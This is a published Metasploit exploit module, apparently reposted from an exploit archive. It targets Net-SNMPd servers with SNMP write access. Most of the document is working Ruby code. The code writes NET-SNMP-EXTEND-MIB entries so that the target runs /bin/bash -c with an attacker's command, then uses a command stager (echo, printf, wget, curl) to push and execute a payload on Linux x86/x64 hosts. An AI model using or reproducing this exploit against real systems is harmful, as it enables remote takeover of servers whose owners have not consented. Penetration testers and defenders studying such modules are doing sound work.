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Net-SNMPd Write Access SNMP-EXTEND-MIB Arbitrary Code Execution

Net-SNMPd Write Access SNMP-EXTEND-MIB Arbitrary Code Execution
Posted Nov 7, 2019
Authored by Steve Embling | Site metasploit.com

This Metasploit module exploits the SNMP write access configuration ability of SNMP-EXTEND-MIB to configure MIB extensions and lead to remote code execution.

tags | exploit, remote, code execution
MD5 | 7bbcbcc6643285e6383d196644e39589

Net-SNMPd Write Access SNMP-EXTEND-MIB Arbitrary Code Execution

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'snmp'

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::SNMPClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Net-SNMPd Write Access SNMP-EXTEND-MIB arbitrary code execution',
'Description' => %q(
This exploit module exploits the SNMP write access configuration ability of SNMP-EXTEND-MIB to
configure MIB extensions and lead to remote code execution.
),
'License' => MSF_LICENSE,
'Author' => ['Steve Embling at InteliSecure'],
'References' =>
[
[ 'URL', 'http://net-snmp.sourceforge.net/docs/mibs/NET-SNMP-EXTEND-MIB.txt'],
[ 'URL', 'https://medium.com/rangeforce/snmp-arbitrary-command-execution-19a6088c888e'],
[ 'URL', 'https://digi.ninja/blog/snmp_to_shell.php'],
[ 'URL', 'https://sourceforge.net/p/net-snmp/mailman/message/15735617/']
],
'Payload' =>
{
'Space' => 4096
#note space above is not a hard limit and can be increased if required
#'BadChars' => "\x00"
},
'Targets' =>
[
['Linux x86', {
'Arch' => ARCH_X86,
'Platform' => 'linux',
'CmdStagerFlavor' => [ :echo, :printf, :bourne, :wget, :curl ]}],
['Linux x64', {
'Arch' => ARCH_X64,
'Platform' => 'linux',
'CmdStagerFlavor' => [ :echo, :printf, :bourne, :wget, :curl ]}]
],
#Not tested on other platforms but confirmed the above works.
'DisclosureDate' => "May 10 2004",
'DefaultTarget' => 0,
)
)
register_options(
[
OptString.new('FILEPATH', [true, 'file path to write to ', '/tmp']),
OptString.new('CHUNKSIZE', [true, 'Maximum bytes of payload to write at once ', 200]),
OptString.new('SHELL', [true, 'Shell to call with -c argument', '/bin/bash'])
])
end

# The exploit method connects and sets:
# NET-SNMP-EXTEND-MIB::nsExtendStatus."tmp" = INTEGER: createAndGo(4)
# NET-SNMP-EXTEND-MIB::nsExtendCommand."tmp" = STRING: /path/to/executable
# NET-SNMP-EXTEND-MIB::nsExtendArgs."tmp" = STRING: arguments
def execute_command(cmd, opts = {})
oid_1 = '1.3.6.1.4.1.8072.1.3.2.2.1.21.3.116.109.112'
oid_1_value = 4
oid_2 = '1.3.6.1.4.1.8072.1.3.2.2.1.2.3.116.109.112'
oid_2_value = datastore['SHELL']
oid_3 = '1.3.6.1.4.1.8072.1.3.2.2.1.3.3.116.109.112'
oid_4 = '1.3.6.1.4.1.8072.1.3.2.4.1.2.3.116.109.112.1'

comm = datastore['COMMUNITY']

cmd = cmd.shellescape unless flavor == :bourne

oid_3_value = "-c \"#{cmd}\""

vprint_status(oid_3_value)
SNMP::Manager.open(:Host => rhost, :Port => rport, :Community => comm) do |manager|
#vprint_status(manager.get_value("sysDescr.0"))
varbind1 = SNMP::VarBind.new(oid_1,SNMP::Integer.new(oid_1_value))
varbind2 = SNMP::VarBind.new(oid_2,SNMP::OctetString.new(oid_2_value))
varbind3 = SNMP::VarBind.new(oid_3,SNMP::OctetString.new(oid_3_value))
resp = manager.set([varbind1, varbind2, varbind3])
vprint_status(manager.get_value(oid_4).to_s)
end
#Hit same again, first rewrite appears to remove the MIB, the next reinstates it.
SNMP::Manager.open(:Host => rhost, :Port => rport, :Community => comm) do |manager|
varbind1 = SNMP::VarBind.new(oid_1,SNMP::Integer.new(oid_1_value))
varbind2 = SNMP::VarBind.new(oid_2,SNMP::OctetString.new(oid_2_value))
varbind3 = SNMP::VarBind.new(oid_3,SNMP::OctetString.new(oid_3_value))
begin
resp = manager.set([varbind1, varbind2, varbind3])
vprint_status(manager.get_value(oid_4).to_s)
rescue SNMP::RequestTimeout
print_good("SNMP request timeout (this is promising).")
end
end
end

def exploit
execute_cmdstager(linemax: datastore['CHUNKSIZE'].to_i, :temp => datastore['FILEPATH'])
end
end
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